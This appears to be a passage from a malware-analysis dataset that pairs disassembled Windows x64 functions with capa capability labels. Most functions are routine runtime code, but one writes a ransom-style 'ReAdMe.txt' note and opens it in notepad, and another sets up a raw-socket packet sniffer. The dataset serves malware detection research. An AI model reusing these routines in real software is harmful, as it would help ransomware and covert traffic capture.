joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c6352
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140170620
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.14016ff70
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140170669
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402ca020]
jmp 0x140170678
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x1400c646a
Capabilities:
Set environment variable

Disassembly:
jmp 0x140243040
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.1400c3067
lea rcx, [rsp + 0x48]
call fcn.1400c3067
call fcn.1400c3f30
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.1400c2d0b
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1402430af
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.1400c362a
lea rcx, [rsp + 0x78]
call fcn.1400c362a
mov eax, dword [rsp + 0x24]
jmp 0x140243140
call fcn.1400c3f30
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.1400c2d0b
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x1402430f6
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.1400c362a
lea rcx, [rsp + 0x78]
call fcn.1400c362a
mov eax, dword [rsp + 0x2c]
jmp 0x140243140
lea rcx, [rsp + 0x48]
call fcn.1400c2f86
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400c2f86
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.1400c362a
lea rcx, [rsp + 0x78]
call fcn.1400c362a
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1400c66b8
Capabilities:
Create process on windows
Get common file path

Disassembly:
jmp 0x1400da340
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x3e8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x8a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x408]
mov rax, qword [0x1402ac140]
xor rax, rbp
mov qword [rbp + 0x390], rax
lea rcx, [0x1402c9112]
call fcn.1400c67a3
mov qword [rbp + 8], 0
lea r9, [rbp + 8]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14025e850]
call fcn.1400c34bd
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
mov rcx, rax
call fcn.1400c36a7
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rbp + 0x24]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x68]
call fcn.1400c3837
nop
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x378], rax
mov rcx, qword [rbp + 0x378]
call fcn.1400c3a7b
cmp qword [rbp + 0x378], 0
jne 0x1400da470
mov qword [rbp + 0x388], 0
jmp 0x1400da483
mov qword [rbp + 0x48], 0x8123
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x388], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rbp + 8], 0
lea rdx, str.ReAdMe.txt
lea rcx, [rbp + 0x68]
call fcn.1400c16f4
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0xb0]
call fcn.1400c3314
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xb0]
call fcn.1400c697e
nop
lea rdx, str.I_suggest_you_take_a_look_at_your_wallpaper__and_main_drive._:_
lea rcx, [rbp + 0xb0]
call fcn.1400c19a6
lea rcx, [rbp + 0xb0]
call fcn.1400c3d50
lea rcx, [rbp + 0x68]
call fcn.1400c1843
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.notepad.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp + 0xb0]
call fcn.1400c25b8
nop
lea rcx, [rbp + 0x68]
call fcn.1400c2063
lea rcx, [rbp - 0x40]
lea rdx, [0x14025c260]
call fcn.1400c5871
mov rcx, qword [rbp + 0x390]
xor rcx, rbp
call fcn.1400c3aad
lea rsp, [rbp + 0x3a8]
pop rdi
pop rbp
ret
Function at 0x1400c66fe
Capabilities:
Create thread

Disassembly:
jmp 0x140181370
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x78
cmp qword [rsp + 0x90], 0
je 0x14018139c
mov dword [rsp + 0x30], 1
jmp 0x1401813a4
mov dword [rsp + 0x30], 0
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jne 0x1401813ed
lea rax, str.procedure___nullptr
mov qword [rsp + 0x28], rax
lea rax, [0x140263510]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0xc8
lea rdx, str.minkernelcrtsucrt_src_appcrt_startup_thread.cpp
mov ecx, 2
call fcn.1400c1a41
cmp eax, 1
jne 0x1401813ed
int3
cmp dword [rsp + 0x34], 0
jne 0x14018142f
call fcn.1400c2fc2
mov dword [rax], 0x16
mov qword [rsp + 0x20], 0
mov r9d, 0xc8
lea r8, str.minkernelcrtsucrt_src_appcrt_startup_thread.cpp
lea rdx, str._beginthreadex
lea rcx, str.procedure___nullptr
call fcn.1400c5b46
xor eax, eax
jmp 0x14018152f
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x90]
call fcn.140180e60
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140180c60
lea rcx, [rsp + 0x40]
call fcn.140180cd0
movzx eax, al
test eax, eax
jne 0x14018147f
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x40]
call fcn.140180cb0
mov rax, qword [rsp + 0x50]
jmp 0x14018152f
lea rcx, [rsp + 0x40]
call fcn.140181010
mov ecx, dword [rsp + 0x88]
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x28], rdx
mov edx, dword [rsp + 0xa0]
mov dword [rsp + 0x20], edx
mov r9, rax
lea r8, [0x140180a10]
mov edx, ecx
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1401814f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400c29c3
mov qword [rsp + 0x58], 0
lea rcx, [rsp + 0x40]
call fcn.140180cb0
mov rax, qword [rsp + 0x58]
jmp 0x14018152f
cmp qword [rsp + 0xa8], 0
je 0x14018150c
mov rax, qword [rsp + 0xa8]
mov ecx, dword [rsp + 0x38]
mov dword [rax], ecx
lea rcx, [rsp + 0x40]
call fcn.140180fd0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x40]
call fcn.140180cb0
mov rax, qword [rsp + 0x60]
add rsp, 0x78
ret
Function at 0x140208510
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400c201d
sub rsp, rax
mov rax, qword [0x1402ac140]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1402b13f0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140208702
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x140208656
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140208656
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x14020863b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1402085d8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1402086c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140208721
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1402086fd
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140208721
jmp 0x1402085ae
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400c3aad
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1402087d0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400c201d
sub rsp, rax
mov rax, qword [0x1402ac140]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1402b13f0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1402089dd
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x140208929
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140208929
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x140208909
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x140208898
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14020899d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1402089fc
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x1402089d8
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1402089fc
jmp 0x14020886e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400c3aad
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x2fc4d5740
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d6142
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fa108]
test eax, eax
je 0x2fc4d61da
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fa110]
mov qword [rbp - 8], rax
jmp 0x2fc4d61be
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d61b2
cmp qword [rbp - 0x10], 0
je 0x2fc4d61b2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d6178
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d61db
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d62e0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d6308
mov eax, 0
jmp 0x2fc4d6356
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d6331
mov eax, 0
jmp 0x2fc4d6356
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d6351
mov eax, 0
jmp 0x2fc4d6356
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d635c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d63da
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d63d1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d63d1
mov rax, qword [rbp - 8]
jmp 0x2fc4d63ef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d63a4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140009008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x140009008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140009008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret
Function at 0x140011294
Capabilities:
Terminate process

Disassembly:
jmp 0x140014810
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011334
Capabilities:
Create raw socket
Create tcp socket
Create udp socket
Get hostname
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Set socket configuration

Disassembly:
jmp 0x140012dd0
push rbp
push rdi
mov eax, 0x32a68
call fcn.1400110eb
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xc912
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x32a38], rax
lea rcx, [0x1400250f5]
call fcn.140011479
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
xor r9d, r9d
mov r8d, 4
xor edx, edx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_setvbuf]
nop
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
nop
xor r8d, r8d
mov edx, 3
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1c8], rax
mov edx, 0x100
lea rcx, [rbp + 0x250]
call qword [sym.imp.WS2_32.dll_gethostname]
nop
lea rcx, [rbp + 0x250]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea rcx, [rbp + 0x218]
call fcn.14001118b
nop
mov eax, 2
mov word [rbp + 0x1e8], ax
mov cx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
lea rcx, [rbp + 0x218]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x1ec], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x1e8]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_bind]
nop
mov dword [rbp + 0x384], 1
lea r8, [rbp + 0x384]
mov edx, 0x98000001
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
nop
mov dword [rbp + 0x323e4], 0
xor eax, eax
cmp eax, 1
je 0x140012ffe
call qword [sym.imp.ucrtbased.dll_clock]
mov dword [rbp + 0x32404], eax
xorps xmm0, xmm0
movsd qword [rbp + 0x32428], xmm0
mov eax, 0x1000
imul rax, rax, 0
lea rax, [rbp + rax + 0x3b0]
xor r9d, r9d
mov r8d, 0x1000
mov rdx, rax
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_recv]
nop
mov eax, 0x1000
imul rax, rax, 0
lea rax, [rbp + rax + 0x3b0]
mov rcx, rax
call fcn.14001137f
nop
call qword [sym.imp.ucrtbased.dll_clock]
sub eax, dword [rbp + 0x32404]
mov ecx, dword [rbp + 0x323e4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x323e4], eax
cmp dword [rbp + 0x323e4], 0x3e8
jle 0x140012ff9
movsd xmm0, qword [0x14001f1c0]
divsd xmm0, qword [0x14001c188]
movsd qword [rbp + 0x32428], xmm0
movsd xmm1, qword [rbp + 0x32428]
movq rdx, xmm1
lea rcx, str._.02fKB_s_n
call fcn.140011230
nop
xorps xmm0, xmm0
movsd qword [0x14001f1c0], xmm0
mov dword [rbp + 0x323e4], 0
jmp 0x140012f23
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001bf70]
call fcn.1400113ed
mov eax, edi
mov rcx, qword [rbp + 0x32a38]
xor rcx, rbp
call fcn.140011249
lea rsp, [rbp + 0x32a48]
pop rdi
pop rbp
ret
Function at 0x14001133e
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015b60
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015b80
xor al, al
jmp 0x140015c01
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015b93
xor al, al
jmp 0x140015c01
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015bbd
xor al, al
jmp 0x140015c01
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015bd1
xor al, al
jmp 0x140015c01
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015be3
xor al, al
jmp 0x140015c01
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015bff
xor al, al
jmp 0x140015c01
mov al, 1
add rsp, 0x38
ret
Function at 0x140013a50
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400114a1
movzx eax, al
test eax, eax
jne 0x140013a70
mov ecx, 7
call fcn.1400113f7
nop
mov byte [rsp + 0x20], 0
call fcn.14001140b
mov byte [rsp + 0x21], al
cmp dword [0x14001f888], 1
jne 0x140013a94
mov ecx, 7
call fcn.1400113f7
nop
jmp 0x140013aec
cmp dword [0x14001f888], 0
jne 0x140013ae7
mov dword [0x14001f888], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.140011235
test eax, eax
je 0x140013ac8
mov eax, 0xff
jmp 0x140013bf1
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.140011401
mov dword [0x14001f888], 2
jmp 0x140013aec
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400113e3
call fcn.140011366
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140013b49
mov rcx, qword [rsp + 0x30]
call fcn.1400111cc
movzx eax, al
test eax, eax
je 0x140013b49
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.1400113a7
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140013b7d
mov rcx, qword [rsp + 0x38]
call fcn.1400111cc
movzx eax, al
test eax, eax
je 0x140013b7d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
